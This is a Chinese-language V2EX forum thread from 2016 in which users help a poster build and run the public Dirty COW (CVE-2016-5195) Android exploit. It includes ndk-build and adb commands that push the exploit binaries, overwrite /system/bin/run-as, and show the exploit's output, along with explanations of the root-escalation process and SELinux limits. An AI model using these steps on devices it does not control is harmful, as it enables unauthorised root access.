安卓开发高手帮忙看一下

2016-10-31 15:15:17 +08:00
 postlive
https://github.com/timwr/CVE-2016-5195/archive/master.zip

哪位高手帮忙把这个编译一下




这个在 ndk 下可以直接编译成 apk 吗
10147 次点击
所在节点    Android
42 条回复
postlive
2016-10-31 15:19:55 +08:00
高手都帮忙看一下 我把 C 直接编译成二进制执行之后 没效果 可能需要弄成 apk 两个 C 配合运行吧
michaelzhou
2016-10-31 15:42:57 +08:00
看了一下 makefile ,编译完成应该会有两个 so 文件,不会生成 APK 文件,你需要编写一个 Android Project ,然后通过 JNI 来调用。
michaelzhou
2016-10-31 15:49:09 +08:00
用 ndk 编译完成, push 到手机使用 adb shell 执行:
$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
[x86_64] Install : dirtycow => libs/x86_64/dirtycow
[x86_64] Install : run-as => libs/x86_64/run-as
[mips64] Install : dirtycow => libs/mips64/dirtycow
[mips64] Install : run-as => libs/mips64/run-as
[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Compile thumb : run-as <= run-as.c
[armeabi-v7a] Executable : run-as
[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
[armeabi] Compile thumb : dirtycow <= dirtycow.c
[armeabi] Executable : dirtycow
[armeabi] Install : dirtycow => libs/armeabi/dirtycow
[armeabi] Compile thumb : run-as <= run-as.c
[armeabi] Executable : run-as
[armeabi] Install : run-as => libs/armeabi/run-as
[x86] Compile : dirtycow <= dirtycow.c
[x86] Executable : dirtycow
[x86] Install : dirtycow => libs/x86/dirtycow
[x86] Compile : run-as <= run-as.c
[x86] Executable : run-as
[x86] Install : run-as => libs/x86/run-as
[mips] Compile : dirtycow <= dirtycow.c
[mips] Executable : dirtycow
[mips] Install : dirtycow => libs/mips/dirtycow
[mips] Compile : run-as <= run-as.c
[mips] Executable : run-as
[mips] Install : run-as => libs/mips/run-as
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
[100%] /data/local/tmp/dirtycow
adb push libs/armeabi/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell 'chmod 777 /data/local/tmp/run-as'
adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
warning: new file size (13776) and file old size (14192) differ

size 14192


[*] mmap 0xf707c000
[*] exploit (patch)
[*] currently 0xf707c000=464c457f
[*] madvise = 0xf707c000 14192
[*] madvise = 0 1048576
[*] /proc/self/mem -1048576 1048576
[*] exploited 0xf707c000=464c457f
adb shell /system/bin/run-as
run-as: Usage:
run-as <package-name> [--user <uid>] <command> [<args>]
tscat
2016-10-31 16:08:54 +08:00
看了一下,是提权漏洞?
这个根本就不是 Android Project , run-as.c 应该是打印 uid ,来验证漏洞是否能够提权吧。
基本上楼上都说了。
postlive
2016-10-31 16:40:08 +08:00
@michaelzhou @tscat 我直接把这两个 C 编译成两个二进制文件
我运行到这一条命令 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后 没反应 请问为什么 这条命令是什么意思呢
postlive
2016-10-31 16:41:18 +08:00
@tscat 是提权的 运行 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后没反应 不打印 uid
postlive
2016-10-31 16:50:42 +08:00
@michaelzhou 我如果编译成.so 的话 是不是还要编写个 APK 来运行它 是吧
michaelzhou
2016-10-31 16:57:05 +08:00
@postlive 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。
michaelzhou
2016-10-31 17:02:11 +08:00
@postlive 系统分配给 adb 的 uid ,是没有权限更改 /system/bin 下任何东西的,/data/local/tmp 下的东西可以随便来,所以,首先将 exploit 所需要的东西先拷贝到 /data/local/tmp/,然后 dirtycow 将 /system/bin/run-as 替换成 /data/local/tmp/run-as 。然后被替换的 run-as 就可以被 APK 应用层直接调用了( run-as --uid root )。
postlive
2016-10-31 17:27:41 +08:00
@michaelzhou 高手,那现在这个 run-as 是人家编写好的 想办法用这个 run-as 替换 system/bin/的 就可以调用它执行 root 权限的命令了?
michaelzhou
2016-10-31 17:32:14 +08:00
@postlive 可以这么理解。但是 “想办法用这个 run-as 替换 system/bin/的” 很难。
postlive
2016-10-31 17:37:32 +08:00
@michaelzhou “ 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。”
/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as
请问,这条命令是在执行用自己的 run-as 替换系统的 是吧?
devzero
2016-10-31 17:37:57 +08:00
在 issues 那里有一个编译好的二进制文件,可以去看看
michaelzhou
2016-10-31 17:41:34 +08:00
@postlive 是。
HackerOO7
2016-10-31 18:11:22 +08:00
因为 selinux 的存才,这个提权能做的实在太有限,然而在 6.0 上就算过了 selinux ,也还得过 dm-verity 。
postlive
2016-10-31 18:17:50 +08:00
@devzero 谢谢 刚才仔细看了一下评论 和看雪上说的一样 SELinux 没法破 这个脚本只有作者自己执行成功了,要是刚开始就看 issues 的话就不会走弯路了
postlive
2016-10-31 18:20:35 +08:00
@HackerOO7 是的,刚在看雪上看到漏洞时 评论里面就有人提到 selinux ,当时没在意,是我想的太简单了,现在得另辟蹊径
postlive
2016-10-31 18:32:43 +08:00
@michaelzhou 如果不写 APK ,直接手动一步一步的执行.C 编译后的二进制文件 是不是会达到同样的效果?我重新找到一个 POC ,我准备把里面的 5 个.C 一个个编译成安卓可执行的二进制,再去运行每条命令
可行不
kmahyyg
2016-10-31 22:47:26 +08:00
你去 dirtycow.github.io 的 wiki 里,有个 r2 的 io plugin 可以使用,安卓 6.0.1_r72(RR)在 termux 下用 clang 编译测试成功提权。
postlive
2016-10-31 22:55:31 +08:00
@kmahyyg 谢谢 我明天试一下

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/316813

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX